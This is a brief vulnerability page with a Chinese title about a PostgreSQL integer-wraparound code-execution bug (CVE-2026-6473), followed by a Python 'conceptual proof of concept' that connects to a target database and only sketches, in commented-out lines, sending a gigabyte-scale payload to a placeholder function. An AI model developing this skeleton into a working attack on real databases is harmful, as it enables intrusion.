CVE-2026-6473 PostgreSQL 整数回绕导致代码执行漏洞

import psycopg2 # Conceptual Proof of Concept for CVE-2026-6473 # This script demonstrates the logic of sending gigabyte-scale input # to potentially trigger the integer wraparound vulnerability. def exploit_postgresql(target_host, db_user, db_pass, db_name): try: # Establish connection to the target database conn = psycopg2.connect( host=target_host, user=db_user, password=db_pass, dbname=db_name ) cursor = conn.cursor() # Simulate sending a massive payload (e.g., > 1GB) # The exact vulnerable function is abstracted here. # In a real scenario, this targets specific functions handling large inputs. print("[+] Generating massive payload to trigger integer wraparound...") # Note: Sending this much data may cause network issues before the bug is hit # but illustrates the data flow required. # payload = b"A" * (2**30 + 1) # 1GB + 1 byte # cursor.execute("SELECT vulnerable_function(%s)", (payload,)) print("[!] Payload logic generated. Exploit attempt would follow specific vulnerable function call.") except Exception as e: print(f"[-] Error: {e}") finally: if 'conn' in locals(): conn.close()